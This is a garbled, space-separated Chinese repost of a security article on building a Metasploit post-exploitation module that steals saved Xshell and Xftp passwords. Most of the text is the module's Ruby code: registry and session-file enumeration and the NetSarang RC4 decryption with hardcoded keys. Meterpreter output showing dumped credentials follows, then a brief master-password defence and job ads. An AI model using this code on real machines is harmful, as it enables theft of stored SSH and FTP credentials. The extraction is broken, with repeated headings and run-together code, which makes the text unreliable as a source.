搜索

[6921] 2020-09-11_编写Metasploit模块获取Xshell和Xftp明文密码

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-17
2020-09-11_编写Metasploit模块获取Xshell和Xftp明文密码 编 写 M e t a s p l o i t 模 块 获 取 X s h e l l 和 X f t p 明 文 密 码 E 安 全   2 0 2 0 - 0 9 - 1 1 以 下 文 章 来 源 于 雷 神 众 测   ， 作 者 三 米 前 有 蕉 皮 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 声 明 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 N o . 1 N o . 1 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 前 言 在 一 个 公 众 号 看 到 了 我 之 前 写 的 T e a m v i e w e r 获 取 I D 和 密 码 的 那 个 模 块 ， 上 面 还 有 一 个 获 取 X s h e l l 和 X f t p 密 码 的 ， 但 是 那 个 是 P y t h o n 写 的 ， 然 后 就 写 了 一 个 M e t a s p l o i t 的 模 块 ， 试 了 网 上 的 很 多 版 本 ， 最 后 找 到 了 这 个 ( h t t p s : / / g i t h u b . c o m / H y p e r S i n e / h o w - d o e s - X m a n a g e r - e n c r y p t - p a s s w o r d ) 项 目 ， 支 持 x s h e l l 和 x f t p ， 版 本 还 支 持 5 . 1 到 6 . 0 的 ， 所 以 就 按 照 这 个 项 目 算 法 编 写 模 块 。 N o . 2 N o . 2 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 编 写 模 块 思 路 找 找 s e s s i o n 文 件 文 件 因 为 一 台 电 脑 可 能 会 有 多 个 用 户 ， 所 以 要 先 枚 举 用 户 ， 导 入 U s e r P r o f i l e s 获 取 用 户 配 置 ， 详 细 可 以 看 我 之 前 写 的 M e t a s p l o i t 后 渗 透 模 块 开 发 ( h t t p s : / / w w w . c n b l o g s . c o m / K a l i - T e a m / p / 1 2 5 8 9 6 3 0 . h t m l ) ， 找 到 用 户 的 S I D ， 通 过 注 册 表 查 询 对 应 S I D 的 用 户 是 否 存 在 N e t S a r a n g 系 列 应 用 的 目 录 。 安 装 完 X s h e l l 和 X f t p ， 搜 索 注 册 表 N e t S a r a n g 关 键 词 ， 找 到 注 册 表 的 根 ， 这 有 两 个 版 本 然 后 读 注 册 表 ， 得 到 保 存 s e s s i o n 的 文 件 夹 路 径 ， 如 果 用 户 没 有 刻 意 修 改 s e s s i o n 的 保 存 文 件 夹 路 径 ， 默 认 的 就 是 用 户 的 文 档 文 件 夹 下 的 N e t S a r a n g   C o m p u t e r 目 录 。 读 取 注 册 表 内 容 可 以 看 我 之 前 写 的 M e t a s p l o i t 后 渗 透 模 块 开 发 ( h t t p s : / / w w w . c n b l o g s . c o m / K a l i - T e a m / p / 1 2 5 8 9 6 3 0 . h t m l ) ， 这 里 有 一 个 大 坑 ， r e g i s t r y _ g e t v a l d a t a 读 出 的 字 符 串 后 面 有 换 行 符 换 行 符 ， 直 接 拼 接 路 径 去 枚 举 或 者 读 取 会 提 示 目 录 或 者 文 件 不 存 在 ， 所 以 涉 及 到 目 录 的 字 符 串 最 好 用 e x p a n d _ p a t h 方 法 先 处 理 一 次 ， 但 是 不 建 议 频 繁 使 用 ， 因 为 每 次 调 用 e x p a n d _ p a t h 方 法 都 会 发 送 一 次 请 求 到 目 标 主 机 。 解 析 解 析 s e s s i o n 配 置 文 件 配 置 文 件 找 到 s e s s i o n 文 件 夹 ， 然 后 搜 索 后 缀 名 得 到 s e s s i o n 文 件 的 路 径 ， 读 文 件 拿 到 文 本 内 容 ， 这 里 有 一 个 坑 ， 就 是 不 同 版 本 保 存 的 文 件 编 码 是 不 一 样 的 ， 5 . 3 之 前 的 是 A N S I 编 码 ， 6 . 0 的 是 U n i c o d e 编 码 ， 还 有 可 能 是 U T F - 8 ， 还 有 可 能 是 U n i c o d e   B E 大 端 储 存 ， 找 了 很 久 没 看 到 有 现 成 的 解 决 方 法 ， 最 后 自 己 写 了 一 个 。 雷 神 众 测 雷 神 众 测   . 雷 神 众 测 ， 专 注 于 渗 透 测 试 技 术 及 全 球 最 新 网 络 攻 击 技 术 的 分 析 。 i n c l u d e   M s f : : P o s t : : W i n d o w s : : U s e r P r o f i l e s p r o f i l e s   =   g r a b _ u s e r _ p r o f i l e s p r o f i l e s . e a c h   d o   | u s e r _ p r o f i l e s |         n e x t   i f   u s e r _ p r o f i l e s [ ' S I D ' ] . n i l ? p a r e n t _ k e y _ 6   =   " H K E Y _ U S E R S #   { u s e r _ p r o f i l e s [ ' S I D ' ] } S o f t w a r e N e t S a r a n g C o m m o n 6 U s e r D a t a " p a r e n t _ k e y _ 5   =   " H K E Y _ U S E R S #   { u s e r _ p r o f i l e s [ ' S I D ' ] } S o f t w a r e N e t S a r a n g C o m m o n 5 U s e r D a t a " n e t _ s a r a n g _ p a t h _ 6   =   e x p a n d _ p a t h ( r e g i s t r y _ g e t v a l d a t a ( p a r e n t _ k e y _ 6 ,   ' U s e r D a t a P a t h ' ) ) n e t _ s a r a n g _ p a t h _ 5   =   e x p a n d _ p a t h ( r e g i s t r y _ g e t v a l d a t a ( p a r e n t _ k e y _ 5 ,   ' U s e r D a t a P a t h ' ) ) d e f   t r y _ e n c o d e _ f i l e ( d a t a )         #   v e r s i o n   6 . 0   T h e   c h a r a c t e r   s e t   o f   t h e   s e s s i o n   f i l e   w i l l   u s e   U n i c o d e         #   v e r s i o n   < =   5 . 3   T h e   c h a r a c t e r   s e t   o f   t h e   s e s s i o n   f i l e   w i l l   u s e   A N S I         i f   d a t a [ 0 ] . u n p a c k ( ' C ' )   = =   [ 2 5 5 ]   & &   d a t a [ 1 ] . u n p a c k ( ' C ' )   = =   [ 2 5 4 ]                 d a t a [ 2 . . - 1 ] . f o r c e _ e n c o d i n g ( ' U T F - 1 6 L E ' ) . e n c o d e ( ' U T F - 8 ' )   #   F F F E   U n i c o d e         e l s i f   d a t a [ 0 ] . u n p a c k ( ' C ' )   = =   [ 2 5 4 ]   & &   d a t a [ 1 ] . u n p a c k ( ' C ' )   = =   [ 1 8 7 ]   & &   d a t a [ 2 ] . u n p a c k ( ' C ' )   = =   [ 1 9 1 ]                 d a t a   #   E F B B B F   U T F - 8         e l s i f   d a t a [ 0 ] . u n p a c k ( ' C ' )   = =   [ 2 5 4 ]   & &   d a t a [ 1 ] . u n p a c k ( ' C ' )   = =   [ 2 5 5 ]         d a t a [ 2 . . - 1 ] . f o r c e _ e n c o d i n g ( ' U T F - 1 6 B E ' ) . e n c o d e ( ' U T F - 8 ' )   #   F E F F   U n i c o d e   B E
先 判 断 前 面 这 个 字 符 就 可 以 知 道 什 么 编 码 ， 详 细 可 以 自 己 看 看 代 码 的 判 断 流 程 。 最 后 把 文 件 编 码 转 成 能 用 后 返 回 就 行 了 。 例 如 下 面 的 文 件 是 以 x F F x F E 开 头 的 ， 可 以 判 断 它 是 U n i c o d e 编 码 ， 要 想 R e x : : P a r s e r : : I n i 能 正 常 解 析 就 要 把 他 转 换 为 U T F - 8 编 码 的 ， 所 以 这 里 要 注 意 一 下 。 解 析 i n i 配 置 文 件 ， 导 入 r e q u i r e   ' r e x / p a r s e r / i n i ' 就 可 以 调 用 一 个 R e x : : P a r s e r : : I n i . f r o m _ s ( f i l e ) 方 法 将 f i l e 字 符 串 序 列 化 为 i n i 对 象 ， 这 样 就 可 以 通 过 节 点 获 取 配 置 项 对 应 的 内 容 了 ， 下 面 是 提 取 s e s s i o n 文 件 中 的 关 键 信 息 的 代 码 。 解 析 配 置 文 件 得 到 版 本 ， 主 机 ， 端 口 ， 用 户 名 和 密 码 的 密 文 这 些 有 用 的 信 息 。 解 密 密 文 解 密 密 文 详 细 解 密 算 法 请 参 考 上 面 提 到 的 项 目 链 接 。 为 了 方 便 写 了 一 个 类 ， 用 来 加 密 解 密 ， 没 有 用 到 加 密 ， 先 留 着 吧 ， 可 能 到 时 候 有 用 。         d a t a [ 2 . . - 1 ] . f o r c e _ e n c o d i n g ( ' U T F - 1 6 B E ' ) . e n c o d e ( ' U T F - 8 ' )   #   F E F F   U n i c o d e   B E         e l s e                 d a t a         e n d e n d #   p a r s e r   x s h   s e s s i o n   f i l e # #   @ p a r a m   i n i   [ S t r i n g ] #   @ r e t u r n   [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] d e f   p a r s e r _ x s h ( i n i )         v e r s i o n   =   i n i [ ' S e s s i o n I n f o ' ] [ ' V e r s i o n ' ]         p o r t   =   i n i [ ' C O N N E C T I O N ' ] [ ' P o r t ' ]         h o s t   =   i n i [ ' C O N N E C T I O N ' ] [ ' H o s t ' ]         u s e r n a m e   =   i n i [ ' C O N N E C T I O N : A U T H E N T I C A T I O N ' ] [ ' U s e r N a m e ' ]         p a s s w o r d   =   i n i [ ' C O N N E C T I O N : A U T H E N T I C A T I O N ' ] [ ' P a s s w o r d ' ]   | |   n i l         [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] e n d #   p a r s e r   x f p   s e s s i o n   f i l e # #   @ p a r a m   i n i   [ S t r i n g ] #   @ r e t u r n   [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] d e f   p a r s e r _ x f p ( i n i )         v e r s i o n   =   i n i [ ' S e s s i o n I n f o ' ] [ ' V e r s i o n ' ]         p o r t   =   i n i [ ' C o n n e c t i o n ' ] [ ' P o r t ' ]         h o s t   =   i n i [ ' C o n n e c t i o n ' ] [ ' H o s t ' ]         u s e r n a m e   =   i n i [ ' C o n n e c t i o n ' ] [ ' U s e r N a m e ' ]         p a s s w o r d   =   i n i [ ' C o n n e c t i o n ' ] [ ' P a s s w o r d ' ]         [ v e r s i o n ,   h o s t ,   p o r t ,   u s e r n a m e ,   p a s s w o r d ] e n d #   @ a u t h o r   K a l i - T e a m c l a s s   N e t S a r a n g C r y p t o         a t t r _ a c c e s s o r   : v e r s i o n         a t t r _ a c c e s s o r   : u s e r n a m e         a t t r _ a c c e s s o r   : s i d         a t t r _ a c c e s s o r   : m a s t e r _ p a s s w o r d         a t t r _ a c c e s s o r   : k e y         #   T h i s   c l a s s   i m p l e m e n t s   e n c r y p t i o n   a n d   d e c r y p t i o n   o f   N e t S a r a n g         #         #   @ p a r a m   t y p e   [ S t r i n g ]   o n l y   X s h e l l   o r   X f t p .         #   @ p a r a m   v e r s i o n   [ S t r i n g ]   S p e c i f y   v e r s i o n   o f   s e s s i o n   f i l e .   e . g . : 5 . 3         #   @ p a r a m   u s e r n a m e   [ S t r i n g ]   S p e c i f y   u s e r n a m e .   T h i s   p a r a m e t e r   w i l l   b e   u s e d   i f   v e r s i o n   >   5 . 2 .         #   @ p a r a m   s i d   [ S t r i n g ]   S p e c i f y   S I D .   T h i s   p a r a m e t e r   w i l l   b e   u s e d   i f   v e r s i o n   > =   5 . 1 .         #   @ o p t i o n   m a s t e r _ p a s s w o r d   [ S t r i n g ]   S p e c i f y   u s e r ' s   m a s t e r   p a s s w o r d .         #
本 地 数 据 加 密 常 见 会 用 到 三 种 方 法 ： 编 码 （ b a s e 6 4 等 等 ） ， 取 数 据 摘 要 （ 各 种 H a s h 算 法 ， 不 可 逆 ） 和 对 称 加 密 算 法 （ R C 4 ， D E S ， A E S 等 ） ， N e t S a r a n g 系 列 软 件 的 加 解 密 算 法 为 ： 先 根 据 软 件 的 版 本 ， 用 户 名 ， 当 前 用 户 的 S I D 生 成 一 个 k e y 给 R C 4 加 解 密 ， 将 密 码 通 过 R C 4 加 密 后 再 用 b a s e 6 4 编 码 一 下 就 保 存 到 了 配 置 文 件 ， 不 同 的 版 本 只 是 添 加 了 校 验 和 或 者 添 加 主 密 码 加 盐 的 方 式 提 高 解 密 难 度 。 在 判 断 用 户 给 的 主 密 码 是 否 正 确 这 里 可 以 用 i s _ u t f 8 ? 判 断 解 密 后 的 明 文 是 否 为 u t f - 8 的 ， 如 果 主 密 码 不 对 ， 解 密 后 的 明 文 应 该 是 不 可 读 的 乱 码 。         #   @ r e t u r n   [ R e x : : P a r s e r : : N e t S a r a n g : : N e t S a r a n g C r y p t o ]   T h e   N e t S a r a n g C r y p t o   o b j e c t         d e f   i n i t i a l i z e ( t y p e ,   v e r s i o n ,   u s e r n a m e ,   s i d ,   m a s t e r _ p a s s w o r d   =   n i l )                 s e l f . v e r s i o n   =   v e r s i o n . t o _ f                 s e l f . u s e r n a m e   =   u s e r n a m e                 s e l f . s i d   =   s i d                 s e l f . m a s t e r _ p a s s w o r d   =   m a s t e r _ p a s s w o r d                 m d 5   =   O p e n S S L : : D i g e s t : : M D 5 . n e w                 s h a 2 5 6   =   O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w                 i f   ( s e l f . v e r s i o n   >   0 )   & &   ( s e l f . v e r s i o n   <   5 . 1 )                         s e l f . k e y   =   ( t y p e   = =   ' X s h e l l ' )   ?   m d 5 . d i g e s t ( ' ! X @ s #   h $ e % l ^ l & ' )   :   m d 5 . d i g e s t ( ' ! X @ s #   c $ e % l ^ l & ' )                 e l s i f   ( s e l f . v e r s i o n   > =   5 . 1 )   & &   ( s e l f . v e r s i o n   < =   5 . 2 )                         s e l f . k e y   =   s h a 2 5 6 . d i g e s t ( s e l f . s i d )                 e l s i f   ( s e l f . v e r s i o n   >   5 . 2 )                         i f   s e l f . m a s t e r _ p a s s w o r d . n i l ?                                 s e l f . k e y   =   s h a 2 5 6 . d i g e s t ( s e l f . u s e r n a m e   +   s e l f . s i d )                         e l s e                                 s e l f . k e y   =   s h a 2 5 6 . d i g e s t ( s e l f . m a s t e r _ p a s s w o r d )                         e n d                 e l s e                         r a i s e   ' I n v a l i d   a r g u m e n t :   v e r s i o n '                 e n d         e n d         #   E n c r y p t         #         #   @ p a r a m   s t r i n g   [ S t r i n g ]         #   @ r e t u r n   [ S t r i n g ]   c i p h e r t e x t         d e f   e n c r y p t _ s t r i n g ( s t r i n g )                 c i p h e r   =   R e x : : C r y p t o . r c 4 ( k e y ,   s t r i n g )                 i f   ( v e r s i o n   <   5 . 1 )                         r e t u r n   R e x : : T e x t . e n c o d e _ b a s e 6 4 ( c i p h e r )                 e l s e                         s h a 2 5 6   =   O p e n S S L : : D i g e s t : : S H A 2 5 6 . n e w                         c h e c k s u m   =   s h a 2 5 6 . d i g e s t ( s t r i n g )                         c i p h e r t e x t   =   c i p h e r                         r e t u r n   R e x : : T e x t . e n c o d e _ b a s e 6 4 ( c i p h e r t e x t   +   c h e c k s u m )                 e n d         e n d         #   D e c r y p t         #         #   @ p a r a m   s t r i n g   [ S t r i n g ]         #   @ r e t u r n   [ S t r i n g ]   p l a i n t e x t   f a i l e d   r e t u r n   n i l         d e f   d e c r y p t _ s t r i n g ( s t r i n g )                 i f   ( v e r s i o n   <   5 . 1 )                         r e t u r n   R e x : : C r y p t o . r c 4 ( k e y ,   R e x : : T e x t . d e c o d e _ b a s e 6 4 ( s t r i n g ) )                 e l s e                         d a t a   =   R e x : : T e x t . d e c o d e _ b a s e 6 4 ( s t r i n g )                         c i p h e r t e x t   =   d a t a [ 0 ,   d a t a . l e n g t h   -   0 x 2 0 ]                         p l a i n t e x t   =   R e x : : C r y p t o . r c 4 ( k e y ,   c i p h e r t e x t )                         i f   p l a i n t e x t . i s _ u t f 8 ?                                 r e t u r n   p l a i n t e x t                         e l s e                                 r e t u r n   n i l                         e n d                 e n d         e n d e n d
信 息 入 库 信 息 入 库 这 么 重 要 的 信 息 当 然 要 保 存 起 来 ， M e t a s p l o i t 有 现 成 的 功 能 ， 但 是 要 开 启 数 据 库 服 务 ， 这 个 我 默 认 都 是 开 启 的 ， 因 为 可 以 记 录 你 的 每 一 个 操 作 ， 就 算 你 会 话 掉 线 了 ， 你 以 前 执 行 过 的 结 果 还 会 保 存 在 数 据 库 的 事 件 表 里 ， 想 看 可 以 连 接 数 据 库 看 看 。 N o . 3 N o . 3 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 使 用 方 法 如 果 没 有 设 置 主 密 码 就 可 以 直 接 执 行 模 块 如 果 设 置 了 主 密 码 需 要 指 定 主 密 码 才 能 解 密 ， 不 然 会 像 上 面 报 错 ， 选 项 为 M A S T E R _ P A S S W O R D i f   p l a i n t e x t . i s _ u t f 8 ?     r e t u r n   p l a i n t e x t e l s e     r e t u r n   n i l e n d m s f 5   e x p l o i t ( m u l t i / h a n d l e r )   >   c r e d s C r e d e n t i a l s = = = = = = = = = = = h o s t     o r i g i n     s e r v i c e     p u b l i c     p r i v a t e     r e a l m     p r i v a t e _ t y p e     J t R   F o r m a t - - - -     - - - - - -     - - - - - - -     - - - - - -     - - - - - - -     - - - - -     - - - - - - - - - - - -     - - - - - - - - - - 1 9 2 . 1 6 8 . 7 6 . 1         1 9 2 . 1 6 8 . 7 6 . 1 3 2     2 1 2 1 / t c p   ( f t p )     l f t p d           l f t p d             P a s s w o r d 1 9 2 . 1 6 8 . 7 6 . 1         1 9 2 . 1 6 8 . 7 6 . 1 3 2     2 1 2 1 / t c p   ( f t p )     l f t p d                                 B l a n k   p a s s w o r d 1 9 2 . 1 6 8 . 7 6 . 1 3 4     1 9 2 . 1 6 8 . 7 6 . 1 3 2     2 2 / t c p   ( s s h )         k t                 1 2 3 4 5 6 m e t e r p r e t e r   >   r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / x s h e l l _ x f t p _ p a s s w o r d   U s e r N a m e :   C : U s e r s A d m i n i s t r a t o r D o c u m e n t s N e t S a r a n g = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = T y p e                   N a m e                                                       H o s t                         P o r t     U s e r N a m e     P l a i n t e x t     P a s s w o r d - - - -                   - - - -                                                       - - - -                         - - - -     - - - - - - - -     - - - - - - - - -     - - - - - - - - X f t p _ V 5 . 3         新 建 会 话 . x f p                                       1 9 2 . 1 6 8 . 7 6 . 1         2 1 2 1     l f t p d           l f t p d             y h m b 2 7 u 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X f t p _ V 5 . 3         新 建 会 话 . x f p             1 9 2 . 1 6 8 . 7 6 . 1     2 1 2 1     l f t p d                                 s Q s n G x C 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X s h e l l _ V 6 . 0     新 建 会 话 . x s h                                         2 2         k t m e t e r p r e t e r   > m e t e r p r e t e r   >   r u n   p o s t / w i n d o w s / g a t h e r / c r e d e n t i a l s / x s h e l l _ x f t p _ p a s s w o r d   M A S T E R _ P A S S W O R D = 1 2 3 4 5 6 U s e r N a m e :   C : U s e r s A d m i n i s t r a t o r D o c u m e n t s N e t S a r a n g = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = T y p e                   N a m e                                                       H o s t                         P o r t     U s e r N a m e     P l a i n t e x t     P a s s w o r d - - - -                   - - - -                                                       - - - -                         - - - -     - - - - - - - -     - - - - - - - - -     - - - - - - - - X f t p _ V 5 . 3         新 建 会 话 . x f p                                       1 9 2 . 1 6 8 . 7 6 . 1         2 1 2 1     l f t p d           l f t p d             y h m b 2 7 u 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X f t p _ V 5 . 3         新 建 会 话 . x f p             1 9 2 . 1 6 8 . 7 6 . 1     2 1 2 1     l f t p d           l f t p d             s Q s n G x C 7 T h R 1 + B N b 5 T + / a a p s 3 N v o Y 3 z m r 7 p V L j W I g f d s y V e H M A = = X s h e l l _ V 6 . 0     新 建 会 话 . x s h                                         2 2         k t m e t e r p r e t e r   >
N o . 4 N o . 4 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 防 御 方 法 开 启 主 密 码 ， 选 项 卡 - - 安 全 性 - - 设 置 主 密 码 （ 主 密 码 复 杂 点 ） ， 设 置 主 密 码 后 会 将 N e t S a r a n g 系 列 的 s e s s i o n 文 件 的 密 文 重 新 加 密 一 遍 ， 每 次 启 动 N e t S a r a n g 系 列 软 件 都 要 输 入 主 密 码 。 就 算 被 拿 到 了 s e s s i o n 文 件 也 不 怕 被 获 取 到 明 文 密 码 ， 当 然 最 好 就 别 勾 选 记 住 密 码 这 选 项 。 参 考 ： h t t p s : / / g i t h u b . c o m / r a p i d 7 / m e t a s p l o i t - f r a m e w o r k / p u l l / 1 3 5 2 5 h t t p s : / / g i t h u b . c o m / H y p e r S i n e / h o w - d o e s - X m a n a g e r - e n c r y p t - p a s s w o r d 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 招 聘 启 事 安 恒 雷 神 众 测 S R C 运 营 （ 实 习 生 ） — — — — — — — — 【 职 责 描 述 】 1 .     负 责 S R C 的 微 博 、 微 信 公 众 号 等 线 上 新 媒 体 的 运 营 工 作 ， 保 持 用 户 活 跃 度 ， 提 高 站 点 访 问 量 ； 2 .     负 责 白 帽 子 提 交 漏 洞 的 漏 洞 审 核 、 R a n k 评 级 、 漏 洞 修 复 处 理 等 相 关 沟 通 工 作 ， 促 进 审 核 人 员 与 白 帽 子 之 间 友 好 协 作 沟 通 ； 3 .     参 与 策 划 、 组 织 和 落 实 针 对 白 帽 子 的 线 下 活 动 ， 如 沙 龙 、 发 布 会 、 技 术 交 流 论 坛 等 ； 4 .     积 极 参 与 雷 神 众 测 的 品 牌 推 广 工 作 ， 协 助 技 术 人 员 输 出 优 质 的 技 术 文 章 ； 5 .     积 极 参 与 公 司 媒 体 、 行 业 内 相 关 媒 体 及 其 他 市 场 资 源 的 工 作 沟 通 工 作 。 【 任 职 要 求 】     1 .     责 任 心 强 ， 性 格 活 泼 ， 具 备 良 好 的 人 际 交 往 能 力 ；   2 .     对 网 络 安 全 感 兴 趣 ， 对 行 业 有 基 本 了 解 ；   3 .     良 好 的 文 案 写 作 能 力 和 活 动 组 织 协 调 能 力 。 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n 设 计 师 （ 实 习 生 ） — — — — — — — — 【 职 位 描 述 】 负 责 设 计 公 司 日 常 宣 传 图 片 、 软 文 等 与 设 计 相 关 工 作 ， 负 责 产 品 品 牌 设 计 。 【 职 位 要 求 】 1 、 从 事 平 面 设 计 相 关 工 作 1 年 以 上 ， 熟 悉 印 刷 工 艺 ； 具 有 敏 锐 的 观 察 力 及 审 美 能 力 ， 及 优 异 的 创 意 设 计 能 力 ； 有   V I   设 计 、 广 告 设 计 、 画 册 设 计 等 专 长 ； 2 、 有 良 好 的 美 术 功 底 ， 审 美 能 力 和 创 意 ， 色 彩 感 强 ； 精 通 p h o t o s h o p / i l l u s t r a t o r / c o r e l d r e w / 等 设 计 制 作 软 件 ； 3 、 有 品 牌 传 播 、 产 品 设 计 或 新 媒 体 视 觉 工 作 经 历 ； 【 关 于 岗 位 的 其 他 信 息 】 企 业 名 称 ： 杭 州 安 恒 信 息 技 术 股 份 有 限 公 司 办 公 地 点 ： 杭 州 市 滨 江 区 安 恒 大 厦 1 9 楼 学 历 要 求 ： 本 科 及 以 上 工 作 年 限 ： 1 年 及 以 上 ， 条 件 优 秀 者 可 放 宽 简 历 投 递 至   s t r a t e g y @ d b a p p s e c u r i t y . c o m . c n
